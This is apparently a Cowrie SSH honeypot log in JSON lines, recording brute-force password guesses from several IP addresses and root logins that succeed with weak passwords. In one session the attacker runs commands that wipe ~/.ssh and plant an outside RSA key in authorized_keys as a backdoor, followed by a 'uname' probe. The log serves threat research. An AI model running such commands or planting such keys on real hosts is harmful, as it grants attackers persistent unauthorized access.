{"eventid":"cowrie.login.failed","username":"user","password":"leeroy","message":"login attempt [user/leeroy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:57.299981Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"l3tm31n","message":"login attempt [user/l3tm31n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:58.404920Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"kumar","message":"login attempt [user/kumar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:54:59.508913Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"kfcnjxrf","message":"login attempt [user/kfcnjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:00.827924Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:01.932749Z","src_ip":"2.57.121.25","session":"42f9762d8109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":10178,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae80b0497fa8","protocol":"ssh","message":"New connection: 152.32.163.183:10178 (10.17.0.5:22) [session: ae80b0497fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:02.778664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:02.785290Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:03.051812Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abc2026","message":"login attempt [root/abc2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:04.142887Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:04.720466Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:04.723607Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:04.727325Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:04.996544Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:05.574731Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:05.578348Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:05.849167Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:05.854970Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":10814,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f073189dd4f","protocol":"ssh","message":"New connection: 152.32.163.183:10814 (10.17.0.5:22) [session: 8f073189dd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:06.113565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:06.120118Z","src_ip":"152.32.163.183","session":"8f073189dd4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:06.379469Z","src_ip":"152.32.163.183","session":"8f073189dd4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:07.446675Z","src_ip":"152.32.163.183","session":"8f073189dd4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:08.709344Z","src_ip":"152.32.163.183","session":"8f073189dd4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":11376,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a5a47c5162","protocol":"ssh","message":"New connection: 152.32.163.183:11376 (10.17.0.5:22) [session: f4a5a47c5162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:08.972271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:08.976706Z","src_ip":"152.32.163.183","session":"f4a5a47c5162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:09.252331Z","src_ip":"152.32.163.183","session":"f4a5a47c5162","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:10.378772Z","src_ip":"152.32.163.183","session":"f4a5a47c5162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:10.649250Z","src_ip":"152.32.163.183","session":"ae80b0497fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:10.657734Z","src_ip":"152.32.163.183","session":"f4a5a47c5162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.4.240","src_port":65160,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf2326acdbb","protocol":"ssh","message":"New connection: 101.126.4.240:65160 (159.203.135.109:22) [session: faf2326acdbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:10.669769Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:11.591992Z","src_ip":"101.126.4.240","session":"faf2326acdbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.4.240","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7287607f1e6","protocol":"ssh","message":"New connection: 101.126.4.240:41474 (159.203.135.109:22) [session: a7287607f1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:12.795199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:12.800107Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:13.024036Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"---fuck_you----","message":"login attempt [root/---fuck_you----] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:14.358704Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:14.855561Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:14.859433Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:15.766088Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:15.770472Z","src_ip":"101.126.4.240","session":"a7287607f1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36100,"dst_ip":"159.203.135.109","dst_port":22,"session":"4365605519a9","protocol":"ssh","message":"New connection: 2.57.122.208:36100 (159.203.135.109:22) [session: 4365605519a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:36.510648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:36.515568Z","src_ip":"2.57.122.208","session":"4365605519a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:36.641628Z","src_ip":"2.57.122.208","session":"4365605519a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:36.958070Z","src_ip":"2.57.122.208","session":"4365605519a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:55:38.068216Z","src_ip":"2.57.122.208","session":"4365605519a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fffd34f980e","protocol":"ssh","message":"New connection: 2.57.122.208:57490 (159.203.135.109:22) [session: 1fffd34f980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:57:49.633579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:57:49.724893Z","src_ip":"2.57.122.208","session":"1fffd34f980e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:57:49.812538Z","src_ip":"2.57.122.208","session":"1fffd34f980e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:57:50.465336Z","src_ip":"2.57.122.208","session":"1fffd34f980e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:57:51.712699Z","src_ip":"2.57.122.208","session":"1fffd34f980e","protocol":"ssh"}
